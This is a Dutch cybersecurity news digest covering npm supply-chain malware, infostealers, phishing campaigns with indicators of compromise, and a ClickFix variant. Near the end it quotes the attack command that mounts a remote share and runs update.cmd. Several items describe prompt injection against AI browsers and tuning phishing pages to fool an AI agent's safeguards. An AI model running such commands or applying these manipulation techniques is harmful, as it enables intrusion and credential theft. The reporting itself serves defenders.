Nieuwe aanvalsgolven van de 'PhantomRaven'-supply chain campagne treffen de npm registry. Er zijn tientallen kwaadaardige pakketten die gevoelige data stelen van JavaScript-ontwikkelaars. De campagne werd initieel ontdekt in oktober 2025 door onderzoekers van cybersecuritybedrijf Koi. Zij stelden vast dat de campagne al sinds augustus liep en dat er 126 kwaadaardige pakketten op het npm-platform waren gepubliceerd.

Applicatie security bedrijf Endor Labs ontdekte drie aanvullende golven van de PhantomRaven-aanval die plaatsvonden tussen november 2025 en februari 2026, waarbij 88 pakketten werden verspreid via 50 disposable accounts. De dreigingsactor maakte in de meeste gevallen gebruik van 'slopsquatting' om gevestigde projecten zoals Babel en GraphQL Codegen na te bootsen. Ze publiceerden kwaadaardige pakketten onder namen die lijken te zijn gesuggereerd door grote taalmodellen (LLM's). Volgens Endor Labs zijn 81 van de kwaadaardige PhantomRaven-pakketten nog steeds beschikbaar in de npm registry.

PhantomRaven gebruikt een detection evasion techniek genaamd Remote Dynamic Dependencies (RDD), waarbij het metadata bestand 'package.json' een dependency specificeert op een externe URL. Op deze manier hoeft de dreigingsactor geen kwaadaardige code in het pakket te embedden, waardoor geautomatiseerde inspectie wordt omzeild. Wanneer een nietsvermoedende ontwikkelaar 'npm install' uitvoert, wordt de dependency met de malware automatisch gedownload van de server van de aanvaller en uitgevoerd.

Volgens het onderzoek van Endor Labs verzamelt de malware verschillende gevoelige gegevens van de gecompromitteerde machine, zoals e-mails uit .gitconfig, .npmrc en omgevingsvariabelen. CI/CD tokens van GitHub, GitLab, Jenkins en CircleCI platforms zijn ook doelwit. De onderzoekers zeggen dat de malware ook systeeminformatie verzamelt, zoals IP, hostname, besturingssysteem en Node versie, om de machine te fingerprinten. In de laatste fase exfiltreert het kwaadaardige pakket de gestolen data naar de command-and-control (C2) server van de aanvaller. Meestal gebeurt dit via een HTTP GET request, maar HTTP POST en WebSocket worden ook gebruikt voor redundantie.

Endor Labs heeft vastgesteld dat de infrastructuur consistent blijft over alle vier de waargenomen golven van de PhantomRaven campagne, met domeinen die het woord 'artifact' bevatten, die worden gehost op Amazon Elastic Compute Cloud (EC2) en geen TLS certificaat hebben. De payload was ook bijna identiek over alle golven, waarbij 257 van de 259 regels code ongewijzigd bleven. De aanvallers zijn operationeel geëvolueerd, door npm- en e-mailaccounts te roteren, npm-pakketmetadata te wijzigen en PHP-endpoints aan te passen. Ook publiceerden ze vaker in de meer recente aanvallen, met vier pakketten die op één dag werden toegevoegd, op 18 februari.

Ondanks het gebrek aan verfijning is de PhantomRaven campagne gaande en vertrouwt het op dezelfde techniek, infrastructuurpatronen en payloadstructuur. Met slechts minimale aanpassingen voor domeinen, endpoints, npm-accounts en dependency namen is de dreigingsactor erin geslaagd operationeel te blijven. Om zich tegen deze dreiging te beschermen, wordt ontwikkelaars aangeraden de legitimiteit van hun bouwstenen te verifiëren, alleen pakketten van gerenommeerde uitgevers te gebruiken en te vermijden suggesties van AI chatbots of niet-geverifieerde bronnen te kopiëren en plakken.

Bron: Endor Labs | Bron 2: hubs.li

Onderzoekers hebben aangetoond dat AI-browsers, die autonoom acties op websites uitvoeren, vatbaar zijn voor phishing- en scam-tactieken. Door de neiging van deze browsers om hun acties te beredeneren te misbruiken, kunnen beveiligingsmechanismen worden omzeild.

Guardio ontdekte dat door het verkeer tussen de browser en de AI-services te onderscheppen en te voeden aan een Generative Adversarial Network (GAN), de Comet AI-browser van Perplexity binnen vier minuten slachtoffer kon worden van een aanval met phishing. Shaked Chen, security researcher bij Guardio, noemt dit "Agentic Blabbering": de AI-browser geeft bloot wat hij ziet, wat hij denkt dat er gebeurt, wat hij van plan is en welke signalen hij als verdacht of veilig beschouwt.

Dit onderzoek bouwt voort op eerdere technieken zoals VibeScamming en Scamlexity, waarbij AI-browsers via verborgen prompt injecties werden misleid om scam-pagina's te genereren of kwaadaardige acties uit te voeren. In plaats van een menselijke gebruiker te misleiden, is het doel nu om het AI model zelf te manipuleren. Door te observeren wat de AI als verdacht markeert, kan een "scamming machine" iteratief een phishing-pagina optimaliseren totdat de AI-browser zonder problemen de gewenste acties uitvoert, zoals het invoeren van inloggegevens op een valse website.

Het gevaarlijke aspect van deze aanval is dat eenmaal een webpagina is geoptimaliseerd voor een specifieke AI-browser, deze effectief is tegen alle gebruikers die op dezelfde agent vertrouwen. Guardio waarschuwt dat scams in de toekomst offline getraind zullen worden tegen het exacte model dat miljoenen gebruikers gebruiken, totdat ze bij het eerste contact feilloos werken.

Trail of Bits demonstreerde eerder al vier prompt injection technieken tegen de Comet-browser, waarmee privé-informatie van gebruikers uit diensten zoals Gmail kon worden geëxtraheerd. Zenity Labs onthulde eveneens twee zero-click aanvallen, genaamd PerplexedComet, waarbij indirect prompt injection in meeting invites werd gebruikt om lokale bestanden te exfiltreren of iemands 1Password account te kapen. Deze problemen zijn inmiddels door Perplexity verholpen.

Stav Cohen van Zenity Labs legt uit dat intent collision optreedt wanneer de agent een gebruikersverzoek combineert met instructies van een niet-vertrouwde bron, zonder onderscheid te maken tussen beide. OpenAI merkte in december 2025 op dat prompt injection aanvallen waarschijnlijk nooit volledig zullen worden geëlimineerd in agentic browsers, maar dat de risico's kunnen worden verminderd door geautomatiseerde aanval detectie, adversarial training en nieuwe systeem-level safeguards.

Bron: 1password | Bron 2: blog.trailofbits.com | Bron 3: thn.news

Microsoft Defender Experts heeft de "Contagious Interview"-campagne ontdekt, een geraffineerde social engineering operatie die al sinds december 2022 actief is. Deze campagne richt zich op softwareontwikkelaars bij leveranciers van bedrijfsoplossingen en media- en communicatiebedrijven. De aanvallers maken misbruik van het vertrouwen dat inherent is aan moderne recruitmentprocessen.

De dreigingsactoren verkrijgen toegang door overtuigend geënsceneerde recruitmentprocessen die legitieme technische sollicitatiegesprekken nabootsen. Deze gesprekken omvatten recruiter outreach, technische discussies, opdrachten en follow-ups, waardoor slachtoffers worden overgehaald om kwaadaardige pakketten of commando's uit te voeren onder het mom van routine evaluatietaken.

In dit scenario worden slachtoffers, die in de val trappen, geïnstrueerd om een NPM-pakket te klonen en uit te voeren dat wordt gehost op populaire code hosting platforms zoals GitHub, GitLab of Bitbucket. De uitvoering van het kwaadaardige pakket activeert extra scripts die uiteindelijk de backdoor op de achtergrond implementeren. In recente gevallen hebben de dreigingsactoren hun techniek aangepast om Visual Studio Code workflows te gebruiken. Wanneer slachtoffers het gedownloade pakket openen in Visual Studio Code, wordt hen gevraagd de auteur van de repository te vertrouwen. Indien dit vertrouwen wordt verleend, voert Visual Studio Code automatisch het taakconfiguratiebestand van de repository uit, dat vervolgens de backdoor ophaalt en laadt.

Invisible Ferret is een Python-gebaseerde backdoor die in latere stadia van de aanvalsketen wordt gebruikt. Het maakt remote command execution, uitgebreide systeemverkenning en persistente controle mogelijk nadat de initiële toegang is verkregen door de primaire backdoor.

Een andere opmerkelijke backdoor die in deze campagne is waargenomen, is FlexibleFerret, een modulaire backdoor geïmplementeerd in zowel Go- als Python-varianten. Deze maakt gebruik van gecodeerde HTTP(S) en TCP command en control kanalen om dynamisch plugins te laden, remote commando's uit te voeren en file upload en download operaties te ondersteunen met volledige data exfiltratie. FlexibleFerret vestigt persistentie via RUN registry modificaties en bevat ingebouwde reconnaissance en laterale bewegingsmogelijkheden. De plugin-gebaseerde architectuur, gelaagde obfuscation en configureerbare beaconing gedrag dragen bij aan de stealth en maken analyse uitdagender.

De dreigingsactoren oogsten API tokens, cloud credentials, signing keys, cryptocurrency wallets en password manager artifacts. Modulaire backdoors maken infrastructuurrotatie mogelijk, terwijl de toegang behouden blijft en detectie wordt bemoeilijkt.

Organisaties wordt aangeraden recruitment workflows te behandelen als aanvalsoppervlakken door geïsoleerde interviewomgevingen te implementeren, developer endpoints en build tools te monitoren en te zoeken naar verdachte repository activiteit en dependency execution patronen.

Bron: Microsoft

Een geavanceerde Microsoft 365 credential harvesting campagne maakt gebruik van Cloudflare's eigen beschermende functies om detectie te omzeilen en stilletjes gebruikerslogingegevens te stelen. Deze campagne illustreert een groeiende trend waarbij cybercriminelen tools die bedoeld zijn om websites te beschermen, inzetten als schild voor hun kwaadaardige infrastructuur.

Cloudflare wordt breed ingezet voor anti-bot bescherming, content delivery en DDoS-mitigatie. Echter, deze functies, waaronder human verification checks, IP-filtering en user-agent inspectie, kunnen security onderzoekers en geautomatiseerde scanning tools hinderen bij het identificeren van malafide sites. De aanvallers in deze campagne exploiteerden dit blinde punt.

De campagne, ontdekt door Domaintools, is gebaseerd op het domein securedsnmail[.]com, dat fungeert als startpunt voor slachtoffers. Zodra een gebruiker op de pagina terechtkomt, treedt een gelaagd gatekeeping systeem in werking. De eerste verdedigingslinie is een Cloudflare human verification (Turnstile) check, die geautomatiseerde crawlers filtert. De phishing pagina bevraagt ook het IP-adres van de bezoeker via api.ipify[.]org en vergelijkt dit met een hardcoded blocklist met IP-reeksen van security vendors zoals Palo Alto Networks en FireEye, en cloud infrastructuren van AWS en Google.

Als de browser van een bezoeker een verdachte user-agent string bevat, bijvoorbeeld die van Googlebot, Bingbot, AhrefsBot, of Twitterbot, wordt de pagina dynamisch vervangen door een valse "404 Not Found" error, om te voorkomen dat de site wordt geïndexeerd of gemarkeerd door security scanners. Bezoekers die deze checks doorstaan, worden doorgeleid naar een obfuscated credential harvesting script. De kern van de diefstal is verborgen in een custom virtual machine functie (e_d007dc) die een array van encoded instructies interpreteert, waardoor statische code analyse wordt bemoeilijkt. Als de gatekeeping logica een security tool detecteert, leidt de VM de bestemmings-URL stilletjes om naar een legitiem domein, zoals Google.com.

Slachtoffers die alle checks passeren, worden doorgestuurd naar de daadwerkelijke phishing URL — https[:]//office.suitetosecured[.]com/KuPbXodA?b=cGjQKg4&auth={}— die een Microsoft 365 login pagina nabootst om credentials te stelen. Onderzoekers ontdekten dat alle phishing sites in deze campagne dezelfde Cloudflare Turnstile sitekey deelden: 0x4AAAAAACG6TJhrsuZdpjsN. Dit maakt het mogelijk om via platforms als Shodan, Censys, en URLScan proactief nieuwe phishing infrastructuur te ontdekken. Alle domeinen in de campagne waren geregistreerd via Namecheap, gehost op Cloudflare’s IP infrastructuur, en deelden nameservers die naar cloudflare.com verwijzen. Een indicator of compromise is wirelessmailsent[.]com.

Deze campagne benadrukt de noodzaak voor service providers zoals Cloudflare om hun Know Your Customer (KYC) processen te versterken en mechanismen te bouwen die voorkomen dat hun defensive features worden ingezet tegen de security community.

Bron: DomainTools

De FBI waarschuwt internetgebruikers voor de risico's van het downloaden van illegale software en het gebruik van gratis VPN-apps. Ook het gebruik van streaming-apparaten die gratis toegang bieden tot sportwedstrijden, tv-series en films wordt afgeraden. Deze applicaties en apparaten kunnen namelijk malware of backdoors bevatten, waarmee systemen onderdeel van een 'residential proxynetwerk' worden gemaakt, aldus de Amerikaanse opsporingsdienst.

Een residential proxynetwerk leidt het internetverkeer van betalende klanten via de systemen en internetverbindingen van legitieme thuisgebruikers. Deze betalende klanten kunnen cybercriminelen zijn, waardoor de aanvaller zijn eigen IP-adres kan verbergen. Een ander voordeel voor de crimineel is dat er een IP-adres kan worden gekozen dat zich in dezelfde regio als het doelwit bevindt. Een inlogpoging op een account vanuit dezelfde regio waar de aangevallen organisatie zich bevindt, is minder verdacht dan een inlogpoging vanuit een ver land.

Volgens de FBI zijn er verschillende manieren waarop residential proxydiensten te werk gaan. Zo kunnen ze app-ontwikkelaars betalen om hun SDK (software development kit) toe te voegen. Zodra gebruikers de app installeren, zorgt de SDK ervoor dat het systeem onderdeel van de proxydienst wordt. Andere mogelijkheden zijn VPN-aanbieders met verborgen voorwaarden, gehackte IoT apparaten, malware en mensen die bewust tegen betaling proxy-software op hun systemen installeren. De systemen die door proxydiensten worden aangeboden, kunnen voor allerlei computermisdrijven worden gebruikt, waarschuwt de FBI.

De opsporingsdienst geeft in de waarschuwing verschillende aanbevelingen. Zo wordt geadviseerd om "TV streaming devices" met gratis content te vermijden, voorzichtig te zijn met gratis VPN-software en geen illegale software, zoals games en films, te downloaden. Deze bevatten vaak verborgen malware die het apparaat in een proxy verandert. Tevens wordt het sideloaden van onofficiële apps op streaming sticks en Android TV boxes afgeraden, omdat dit de kans op malware zou vergroten.

Bron: FBI | Bron 2: ic3.gov

Airline miles, bedoeld als beloningen, zijn in cybercriminele markten een gewild product geworden. Onderzoekers van Flare analyseerden honderden berichten uit ondergrondse gemeenschappen en ontdekten een gestage handel in reisbeloningen, geprijsd, onderhandeld en te gelde gemaakt als goederen.

Het fraudeproces bestaat uit vier stappen: het bemachtigen van de controle over een loyalty account via infostealers, phishing of brute force, het identificeren van geldige accounts met e-mailtoegang, het inwisselen van miles voor legitieme reizen (vliegtickets of hotelaccommodaties), en het doorverkopen van de boeking met korting via sociale media. Zodra de reis is voltooid, is een terugvordering door het slachtoffer moeilijk.

Volgens een artikel van Reuters kosten frauduleuze beloningsverzilveringen in reis- en retail-ecosystemen slachtoffers jaarlijks tussen de 1 en 3 miljard dollar. Flare houdt ondergrondse Telegram-kanalen in de gaten waar fraudeurs handelen in gecompromitteerde airline miles, hotelpunten en loyalty credentials. In deze Telegram-groepen worden advertenties geplaatst met vermeldingen als "United beschikbaar", "High balance Marriott", "Bulk AA accounts" en "Ready booking service".

Bron: Flare | Bron 2: thomsonreuters.com

Phishingcampagnes zijn steeds vaker ontworpen om niet alleen medewerkers te misleiden, maar ook om de analisten die de meldingen onderzoeken te overbelasten. Een vertraagde phishing-onderzoek kan een incident laten escaleren tot een datalek. De focus lag voorheen op trainingen, e-mailfilters en meldingsprogramma's, maar de afhandeling van meldingen en de manier waarop aanvallers het onderzoeksproces misbruiken, krijgen minder aandacht.

Alert-fatigue in Security Operations Centers (SOC) is meer dan een operationeel probleem; het is een potentieel aanvalsoppervlak. SOC-teams rapporteren een toename van phishingcampagnes die niet alleen gericht zijn op het compromitteren van doelwitten, maar ook op het overweldigen van analisten. De kwetsbaarheid zit niet alleen bij de medewerker die klikt, maar ook bij de analist die de wachtrij niet kan bijbenen.

Aanvallers denken in systemen, niet in individuele berichten. Een SOC heeft een beperkte capaciteit en voorspelbare zwakke punten. Bij een grootschalige phishingcampagne worden duizenden berichten verzonden, waarvan de meeste gemakkelijk te herkennen zijn. Deze berichten overspoelen de SOC met meldingen. Tussen deze berichten zitten enkele spear-phishing berichten gericht op personen met toegang tot kritieke systemen. Deze overvloed aan meldingen fungeert als een denial-of-service aanval op de aandacht van de SOC, ook wel een Informational Denial-of-Service (IDoS) genoemd.

Uit onderzoek blijkt dat 66% van de SOC-teams de stroom aan meldingen niet kan bijbenen. De focus verschuift van een grondig onderzoek naar het leegmaken van de wachtrij. Managers kunnen phishing-meldingen lager prioriteren dan meldingen van andere detectiesystemen, in de veronderstelling dat meldingen van gebruikers minder betrouwbaar zijn. Analisten gaan sneller te werk en besteden minder tijd per melding, waardoor de kwaliteit van de besluitvorming afneemt.

Het genereren van duizenden phishing-mails kost aanvallers bijna niets, vooral met de opkomst van generatieve AI. Echter, elke melding kost de verdedigende organisatie analysten tijd en middelen. De verdediger wordt gedwongen alles te onderzoeken, omdat de kosten van het missen van een echte bedreiging zo hoog zijn. De aanvaller weet dit en gebruikt het om de onderzoeksmiddelen uit te putten voordat de echte aanval plaatsvindt.

Bron: beyondtrust.com

Op het darkweb is de volledige broncode van het Zweedse e-overheidsplatform gelekt. Cybercrimeinfo ontdekte dat de broncode afkomstig zou zijn van een gecompromitteerde infrastructuur van CGI Sverige AB, de Zweedse tak van het wereldwijde IT-dienstenbedrijf CGI Group. De dreigingsactor, die de naam ByteToBreach draagt, claimt verantwoordelijk te zijn voor de hack.

Volgens de dreigingsactor is niet slechts een deel van de configuratie, maar de volledige broncode van het e-overheidsplatform buitgemaakt. De Zweedse overheid zou de meest getroffen partij zijn. ByteToBreach beweert ook dat databases met persoonlijke informatie van burgers en elektronische ondertekeningsdocumenten zijn verzameld, maar deze worden afzonderlijk verkocht.

Naast de broncode bevat de gelekte data een personeelsdatabase, API-documentondertekeningssystemen, RCE-testendpoints, details over de initiële toegang, jailbreak-artefacten en Jenkins SSH-pivot-credentials.

De aanval zou gebruik hebben gemaakt van een volledig Jenkins-compromis, een Docker escape via de Jenkins-gebruiker die zich in de groep Docker bevond, SSH private key pivots, analyse van lokale .hprof-bestanden voor reconnaissance en SQL copy-to-program pivots. De dreigingsactor benadrukt dat de verantwoordelijkheid voor dit datalek bij CGI ligt, en verwijst naar eerdere incidenten bij Viking Line en Slavia Pojistovna. De broncode wordt gratis aangeboden, terwijl de databases met burgergegevens te koop zijn.

Bron: Darkweb

Salesforce Security heeft een toename geconstateerd in de activiteit van dreigingsactoren die misconfiguraties van publiek toegankelijke sites misbruiken. Een bekende dreigingsactor maakt gebruik van een aangepaste versie van de open-source tool Aura Inspector om massaal publieke Experience Cloud sites te scannen. De originele Aura Inspector identificeert kwetsbare objecten door API-endpoints te onderzoeken, maar de aangepaste versie kan data extraheren door misconfiguraties in de gastgebruikersinstellingen te exploiteren.

In een publiek toegankelijke Salesforce Experience site deelt een anonieme bezoeker een "gastgebruikersprofiel". Dit profiel is bedoeld om toegang te geven tot data die publiek beschikbaar mag zijn. Echter, als dit profiel verkeerd is geconfigureerd met excessieve permissies, kan data die niet bedoeld is voor openbare toegang toch toegankelijk worden. Hierdoor kan een dreigingsactor direct Salesforce CRM-objecten bevragen zonder in te loggen.

Het risico voor Experience Cloud klanten ontstaat als ze het gastgebruikersprofiel gebruiken en de permissies zo hebben ingesteld dat publieke toegang mogelijk is tot objecten en velden die niet publiek zouden moeten zijn. De data die via deze scans wordt verzameld, zoals namen en telefoonnummers, kan gebruikt worden voor gerichte social engineering en "vishing" campagnes.

Salesforce Experience Cloud gebruikt een vierlaags beveiligingsmodel om de toegang tot data te controleren: objecttoegang, recordtoegang, veld-level security (FLS) en veldwaarde maskering. Toegang tot een veldwaarde is afhankelijk van meerdere permissielagen. Een te brede configuratie van een van deze lagen kan leiden tot onbedoelde toegang tot data. Salesforce adviseert klanten om hun configuraties te controleren en de aanbevolen acties te volgen om de beveiliging te verbeteren. Salesforce benadrukt dat het platform zelf veilig is en dat dit probleem wordt veroorzaakt door verkeerde klantconfiguraties.

Bron: Salesforce

Gen Digital (Avast/Norton) heeft Sage ontwikkeld, een beveiligingslaag die AI-codeeragents beschermt tegen kwaadaardige commando's. Deze Agent Detection & Response (ADR)-laag onderschept tool-aanroepen van Claude Code, Cursor en OpenClaw. Sage controleert URL's aan de hand van reputatie-API's, scant pakketten op supply chain-bedreigingen en vergelijkt commando's met YAML-gebaseerde dreigingsdefinities. Het is een antivirusoplossing, maar dan specifiek voor AI-agents.

AI-codeeragents voeren shell-commando's uit, schrijven bestanden, halen URL's op en installeren pakketten. Claude Code, Cursor en OpenClaw geven agents brede toegang tot de ontwikkelomgeving. Een promptinjectie kan een agent misleiden om een kwaadaardige URL te bezoeken, een typosquatted npm-pakket te installeren of een backdoor in de code te schrijven. Sage onderschept tool-aanroepen voordat ze worden uitgevoerd.

Sage maakt gebruik van verschillende detectielagen: URL-reputatie (cloud-gebaseerde controles), lokale heuristiek (YAML-gebaseerde dreigingsdefinities), package supply chain-checks (npm- en PyPI-pakketten) en plugin-scanning. Wanneer een tool-aanroep binnenkomt, evalueert Sage deze aan de hand van de detectielagen en geeft een beoordeling: toestaan, waarschuwen of blokkeren.

De dreigingsdefinities zijn YAML-gebaseerde regels die patronen definiëren voor gevaarlijke bewerkingen, zoals pogingen om omgevingsvariabelen te exfiltreren, naar gevoelige systeempaden te schrijven, te downloaden van bekende kwaadaardige domeinen of pakketten te installeren met verdachte namen. Sage ondersteunt Claude Code (plugin), Cursor/VS Code (VSIX extensie) en OpenClaw (npm-pakket of source).

Sage stuurt URL-hashes en pakket-hashes naar Gen Digital's reputatie-API's voor cloud-gebaseerde controle. Bestandsinhoud, commando's en broncode verlaten de machine niet. De cloudservices kunnen worden uitgeschakeld voor volledig offline gebruik met lokale heuristiek.

Sage is nog in een vroeg stadium (v0.4.3) en Model Context Protocol (MCP) tool-aanroep interceptie is nog niet geïmplementeerd. De URL- en pakketreputatie-API's die Sage aanroept, worden ondersteund door Gen Digital's bestaande threat intelligence-infrastructuur.

Bron: Darkweb

Op het darkweb wordt de broncode van de Azury infostealer te koop aangeboden voor $100. De dreigingsactor, bekend als Jaxx, biedt de complete broncode aan van deze in C# geschreven infostealer, die naar eigen zeggen in twee maanden is ontwikkeld en semi-FUD (Fully Undetectable) is. Het pakket omvat zowel de stealer zelf als een operator panel, eveneens in C#, voor het beheer van geïnfecteerde machines.

De functionaliteit van de stealer is uitgebreid en richt zich op vrijwel alle categorieën gevoelige data op de machine van het slachtoffer. Het verzamelt browserdata van Chrome, Edge, Opera, Vivaldi, Brave, Yandex, Firefox en andere Chromium en Gecko-gebaseerde browsers, waaronder opgeslagen wachtwoorden, cookies, bladwijzers, browsegeschiedenis, creditcardgegevens en profielconfiguraties.

Daarnaast worden cryptocurrency wallets en inloggegevens van exchanges buitgemaakt van desktop wallets zoals Electrum, Atomic, Exodus, MetaMask, Phantom en TrustWallet, evenals web-based exchange logins voor Binance, Coinbase, Kraken, Gemini, KuCoin en Bybit.

De infostealer steelt ook tokens en sessiedata van messaging platforms zoals Discord, Telegram, WhatsApp, Slack, Skype, Snapchat en Signal. VPN-credentials worden verzameld van NordVPN, ExpressVPN, ProtonVPN, SurfShark, Mullvad, WireGuard en diverse andere providers. Password manager vaults van KeePass, LastPass, Dashlane, 1Password, Bitwarden en NordPass zijn eveneens doelwit, net als gaming accounts van Steam, Epic Games, Roblox en Battle.net.

Andere mogelijkheden omvatten keylogging, clipboard monitoring, webcam en microfoon capture, het verzamelen van willekeurige bestanden, persistence mechanismen en anti-analyse beschermingen, waaronder anti-debug, anti-VM en anti-sandbox maatregelen. Data wordt geëxfiltreerd als een in-memory ZIP archief via configureerbare kanalen zoals Discord, FTP of Telegram.

Bron: Darkweb

Op een forum heeft een dreigingsactor met de naam Dreamer8000 beweerd dat Hans Brantner & Sohn Fahrzeugbaugesellschaft m.b.H. (HB Brantner), een Oostenrijkse fabrikant van zware landbouwaanhangers en transportmaterieel, het slachtoffer is geworden van een ernstig datalek. Cybercrimeinfo ontdekte dat de actor de claim op een forum heeft geplaatst en heeft gelinkt naar een speciale lekblogpagina met aanvullende details.

Volgens de vermelding hebben de aanvallers een breed scala aan gevoelige materialen buitgemaakt, waaronder klantgegevens, interne e-mails, geheimhoudingsverklaringen (NDA's), voertuigdocumentatie en vertrouwelijke tekeningen en technische bestanden. De dreigingsactor stelt dat dit voldoende informatie is om te begrijpen hoe het bedrijf werkt en met wie het samenwerkt, wat suggereert dat de inbreuk zakelijke relaties en bedrijfseigen fabricagedetails heeft blootgelegd.

De actor waarschuwt dat de potentiële impact verder gaat dan HB Brantner zelf, en mogelijk partners, klanten, werknemers en contractanten treft die gevoelige documenten met het bedrijf hebben gedeeld. De getroffen gegevenscategorieën omvatten klantgegevens, interne e-mails, geheimhoudingsverklaringen (NDA's), voertuigdocumentatie en vertrouwelijke tekeningen en technische bestanden.

Bron: Darkweb

Cybersecurity onderzoekers hebben details onthuld over een nieuwe banking malware, VENON, die zich richt op Braziliaanse gebruikers. De malware is geschreven in Rust, wat een aanzienlijke afwijking is van andere bekende Delphi-gebaseerde malware families in het Latijns-Amerikaanse cybercrime ecosysteem. Het is ontdekt door het Braziliaanse cybersecurity bedrijf ZenoX.

VENON vertoont overeenkomsten met bekende banking trojans zoals Grandoreiro, Mekotio en Coyote, met name op het gebied van banking overlay logica, actieve window monitoring en een shortcut (LNK) hijacking mechanisme. De malware is nog niet toegeschreven aan een eerder gedocumenteerde groep of campagne. Een eerdere versie van het artefact, uit januari 2026, toont volledige paden van de ontwikkelomgeving van de malware auteur, met de Windows machine username "byst4".

Volgens ZenoX suggereert de Rust code structuur een ontwikkelaar die bekend is met de mogelijkheden van bestaande Latijns-Amerikaanse banking trojans, maar die generatieve AI heeft gebruikt om deze functionaliteiten te herschrijven en uit te breiden in Rust.

VENON wordt verspreid via een geavanceerde infectieketen die DLL side-loading gebruikt om een kwaadaardige DLL te lanceren. Er wordt vermoed dat de campagne gebruikmaakt van social engineering, zoals ClickFixto, om gebruikers te misleiden een ZIP-archief te downloaden dat de payloads bevat via een PowerShell script.

Zodra de DLL is uitgevoerd, voert het negen ontwijkingstechnieken uit, waaronder anti-sandbox checks, indirect syscalls, ETW bypass en AMSI bypass, voordat het daadwerkelijk kwaadaardige acties initieert. Het maakt ook verbinding met een Google Cloud Storage URL om een configuratie op te halen, een scheduled task te installeren en een WebSocket verbinding met de command-and-control (C2) server tot stand te brengen.

Daarnaast zijn er twee Visual Basic Script blokken uit de DLL geëxtraheerd die een shortcut hijacking mechanisme implementeren, specifiek gericht op de Itaú banking applicatie. De componenten vervangen de legitieme systeem shortcuts met gemanipuleerde versies die het slachtoffer omleiden naar een webpagina onder controle van de dreigingsactor. De aanval ondersteunt ook een uninstall stap om de wijzigingen ongedaan te maken.

De banking malware is uitgerust om 33 financiële instellingen en digital asset platforms te targeten door de window title en het actieve browser domein te monitoren. Het komt in actie wanneer een van de beoogde applicaties of websites wordt geopend om credential theft te faciliteren door middel van valse overlays.

Deze onthulling komt te midden van campagnes waarbij dreigingsactoren de alomtegenwoordigheid van WhatsApp in Brazilië misbruiken om een worm genaamd SORVEPOTEL te verspreiden via de desktop web versie van het messaging platform. De aanval maakt misbruik van eerder geverifieerde chats om kwaadaardige lures rechtstreeks aan slachtoffers te leveren, wat uiteindelijk resulteert in de implementatie van banking malware zoals Maverick, Casbaneiro of Astaroth. Blackpoint Cyber stelt dat een enkel WhatsApp bericht voldoende was om een slachtoffer in een multi-stage keten te trekken die resulteerde in een Astaroth implant dat volledig in het geheugen draait.

Bron: ZenoX | Bron 2: blackpointcyber.com | Bron 3: thn.news

Cybercrimeinfo heeft een dreigingsalert onderschept waarin de Chaos ransomwaregroep claimt dat het van plan is om binnen acht uur 2.2 TB aan gecompromitteerde data te publiceren. De alert werd gemeld op 12 maart 2026. Het type dreiging is nog onbekend.

Bron: Darkweb

Cybercriminelen maken misbruik van Cloudflare’s ‘prove you are human’ verificatie om phishingpagina's voor Microsoft 365 te verbergen voor beveiligingsonderzoekers. Volgens een rapport van DomainTools gebruiken aanvallers deze beveiligingsmaatregel om te voorkomen dat hun valse inlogpagina's worden ontdekt en offline worden gehaald.

Wanneer een slachtoffer op een link naar een kwaadaardige site klikt, zoals securedsnmail.com, wordt eerst een ‘Turnstile’ verificatie uitgevoerd. Deze controle, die bedoeld is om bots te stoppen, fungeert hier als een filter om beveiligingsscanners buiten te houden. De site controleert ook de locatie van de bezoeker via api.ipify.org en vergelijkt deze met een blokkeerlijst van techbedrijven, waaronder Palo Alto Networks, FireEye, Google en Amazon. Als de site detecteert dat de bezoeker een beveiligingsprofessional of een bot is, wordt de pagina vervangen door een valse "404 Not Found" melding, mits de scam nog niet is geïndexeerd of gemarkeerd.

Zelfs als de ‘human test’ wordt doorstaan, blijft het gevaar verborgen. De aanvallers gebruiken geen standaard webcode, maar een custom virtual machine functie, genaamd e_d007dc, om versleutelde instructies uit te voeren. Dit maakt het voor antivirussoftware moeilijk om de datadiefstal te detecteren. Als een verdachte bezoeker wordt gedetecteerd, wordt deze automatisch doorgestuurd naar een legitieme site zoals Google.com om sporen te wissen.

Onderzoekers van DomainTools ontdekten een statische ‘sitekey’ (0x4AAAAAACG6TJhrsuZdpjsN) die gebruikt werd in meerdere domeinen, waaronder suitecorporate.com en suitetosecured.com. Deze digitale vingerafdruk helpt bij het opsporen van de infrastructuur van de groep, die vaak gebruik maakt van Namecheap voor registratie en mailservers zoals jellyfish.systems. Het is belangrijk om altijd de adresbalk te controleren voordat een wachtwoord wordt ingevoerd, vooral als een site te graag wil bewijzen dat de bezoeker een mens is.

Bron: DomainTools

Atos onderzoekers hebben een nieuwe variant van de ClickFix techniek ontdekt. Bij deze techniek overtuigen aanvallers gebruikers om via de Win + R sneltoets een kwaadaardige opdracht uit te voeren. Deze variant gebruikt een "net use" commando om een netwerkdrive van een externe server te koppelen, waarna een ".cmd" batchbestand op die drive wordt uitgevoerd. Het script downloadt een ZIP-archief, pakt het uit en voert de legitieme WorkFlowy applicatie uit met aangepaste, kwaadaardige logica verborgen in een ".asar" archief. Dit fungeert als een C2 beacon en een dropper voor de uiteindelijke malware payload.

De aanval begint met een webpagina die zich voordoet als een captcha mechanisme ("happyglamper[.]ro"). De gebruiker wordt gevraagd om de Run applicatie te openen via "Win+R", gevolgd door "Ctrl+V" en "Enter". Dit voert het volgende commando uit:

```

cmd /c net use Z: \\111[.]119.135.245\IPC$ /user:user pass & Z:\update.cmd & net use z: /delete /y

```

In plaats van PowerShell of mshta te gebruiken, zoals gebruikelijk is bij ClickFix aanvallen, wordt "net use" gebruikt om verbinding te maken met een netwerkdrive van een externe server en een batch script uit te voeren. Hoewel niet nieuw, zijn deze TTP's nog niet eerder gezien in ClickFix aanvallen.

Het "update.cmd" script wordt geladen en uitgevoerd vanaf de gekoppelde drive, waarna de drive wordt verwijderd. Het script start een PowerShell instance die een zip archief downloadt en uitpakt in de "%LOCALAPPDATA%\MyApp\" directory. Vervolgens wordt het "WorkFlowy.exe" binary uitgevoerd.

Het archief bevat een WorkFlowy desktop applicatie (versie 1.4.1050), ondertekend door de ontwikkelaar "FunRoutine Inc.", en gedistribueerd als een Electron applicatie bundle. De kwaadaardige code is geïnjecteerd in main.js, het Node.js entry point van de app, verborgen in het app.asar archief.

Wanneer WorkFlowy wordt uitgevoerd, zoekt het naar het app.asar bestand en leest het main.js bestand, decodeert het en parsed het naar de embedded V8 Google JavaScript engine, die het uitvoert. Aanvallers hebben het legitieme main.js vervangen door een eigen versie. De kwaadaardige code bevat verschillende functies:

*   Malware wordt uitgevoerd voordat de legitieme applicatie start.

